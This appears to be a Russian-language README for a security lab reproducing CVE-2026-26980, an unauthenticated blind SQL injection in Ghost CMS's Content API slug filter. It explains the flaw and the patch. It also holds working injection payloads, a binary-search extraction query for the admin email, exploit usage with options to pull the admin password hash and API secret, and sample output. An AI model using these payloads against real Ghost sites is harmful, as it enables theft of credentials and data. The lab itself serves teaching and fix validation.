
CVE-2026-26980 — Лаборатория SQL-инъекций в Content API Ghost CMS (неаутентифицированная слепая SQLi через сортировку по фильтру slug)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQL Injection) |
| Затронуто | Ghost 3.24.0 — 6.19.0 |
| Исправлено | Ghost 6.19.1 |
| Требуется аутентификация | Нет (ключ Content API публичен по дизайну) |
| Автор/Ссылки | Nicholas Carlini с использованием Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Отказ от ответственности — Эта лабораторная работа предназначена только для авторизованного тестирования безопасности, обучения и оборонительных исследований. Не используйте её против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Content API Ghost поддерживает фильтрацию тегов и записей по slug с использованием нотации массива: filter=slug:[tag-a,tag-b]. Внутри вспомогательная функция строит оператор ORDER BY CASE для сохранения запрошенного порядка slug. До версии v6.19.1 предоставленные пользователем значения slug интерполировались непосредственно в этот SQL без параметризации:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (УЯЗВИМО)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Ключ Content API встроен в HTML каждого сайта Ghost (data-key="..."), что делает эту поверхность атаки полностью неаутентифицированной.
Язык запросов NQL Ghost проверяет входные данные фильтра и отклоняет необработанные одинарные кавычки или пробелы. Однако NQL принимает значения в одинарных кавычках внутри нотации массива (slug:['value']), пропуская кавычки как часть литерала. Регулярное выражение slugFilterOrder извлекает эти значения и интерполирует их — включая кавычки — в SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL пропускает кавычки как литеральные символы
После интерполяции ORDER BY становится:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
В режиме SQL по умолчанию MySQL || — это OR, а '' — ложное значение. Это даёт нам чистый булев оракул:
| Условие | Результат CASE | Эффект |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | Нормальный ответ (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | Ошибка переполнения DOUBLE (HTTP 500) |
С установленным оракулом применяется стандартное слепое извлечение бинарным поиском:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
Синтаксис SUBSTR(... FROM pos FOR len) позволяет избежать запятых (по которым slugFilterOrder разделяет значения).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





Исправление заменяет строковую интерполяцию параметризованными привязками:
// ИСПРАВЛЕНО
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Плагин crud.js был обновлён для передачи привязок через orderByRaw, а @tryghost/bookshelf-plugins был обновлён до 0.6.29, который добавляет поддержку привязок.
requests# Клонируйте и войдите в лабораторную работу
git clone <this-repo> && cd ghost-cve-2026-26980
# Установите зависимость Python
pip install -r requirements.txt
# Запустите уязвимый экземпляр Ghost (6.18.0 + MySQL 8)
docker compose up -d
# Подождите ~45 секунд для инициализации Ghost, затем запустите эксплойт
python3 exploit.py --url http://localhost:2368
# Также запустите исправленный Ghost 6.19.1 на порту 2369
docker compose --profile fixed up -d
# Подождите ~45 секунд, затем подтвердите, что исправление блокирует инъекцию
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL Ghost (по умолчанию: http://localhost:2368)
--validate-fix Подтвердить, что цель НЕ уязвима
--extract-password Также извлечь bcrypt-хэш администратора
--extract-api-key Также извлечь секрет API администратора
--content-key KEY Пропустить настройку, использовать этот ключ Content API напрямую
-v, --verbose Показывать результаты оракула для каждого запроса
====================================================
CVE-2026-26980 — SQL-инъекция в Content API Ghost CMS
====================================================
[*] Ожидание готовности Ghost на http://localhost:2368
[*] Настройка Ghost (admin: [email protected])
[+] Настройка завершена — установка сессии
[+] Вход выполнен
[+] Ключ Content API: ad63c06a71457583ea58f050c1
[+] Якорный slug: news
[*] Фаза 1 — проверка булева слепого метода
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Булев оракул подтверждён — УЯЗВИМО
[*] Фаза 2a — извлечение email администратора
Измерение длины email администратора... 21 симв.
Извлечение: [email protected]
[+] Email: [email protected]
============================================================
СВОДКА ЭКСПЛУАТАЦИИ
============================================================
Цель: http://localhost:2368
CVE: CVE-2026-26980
Ключ контента: ad63c06a71457583ea58f050c1
Email администратора: [email protected]
============================================================
Вторая уязвимость была исправлена в том же релизе. Handlebars-хелпер {{#get}} Ghost использовал пакет jsonpath (который зависит от static-eval) для разрешения выражений пути. Вредоносные темы могли создавать выражения, достигающие Function() через обход прототипа, обеспечивая выполнение кода на сервере.
| CVE | CVE-2026-29053 |
| Затронуто | Ghost 0.7.2 — 6.19.0 |
| Аутентификация | Администратор (загрузка темы) |
| Исправление | Замена jsonpath на ограниченную функцию querySimplePath(), которая поддерживает только точечную нотацию, [N] и [*] |
Эта лабораторная работа сосредоточена на CVE-2026-26980, поскольку она неаутентифицирована и более значима для внешних атакующих.
.
├── README.md # Этот файл
├── docker-compose.yml # Ghost 6.18.0 (уязвимый) + 6.19.1 (исправленный) с MySQL 8
├── exploit.py # Полный PoC: настройка, проверка, извлечение
├── validate.sh # Обёртка сквозной проверки
└── requirements.txt # Зависимости Python
Эта лабораторная работа предоставлена для образовательных и авторизованных целей тестирования безопасности под лицензией MIT License.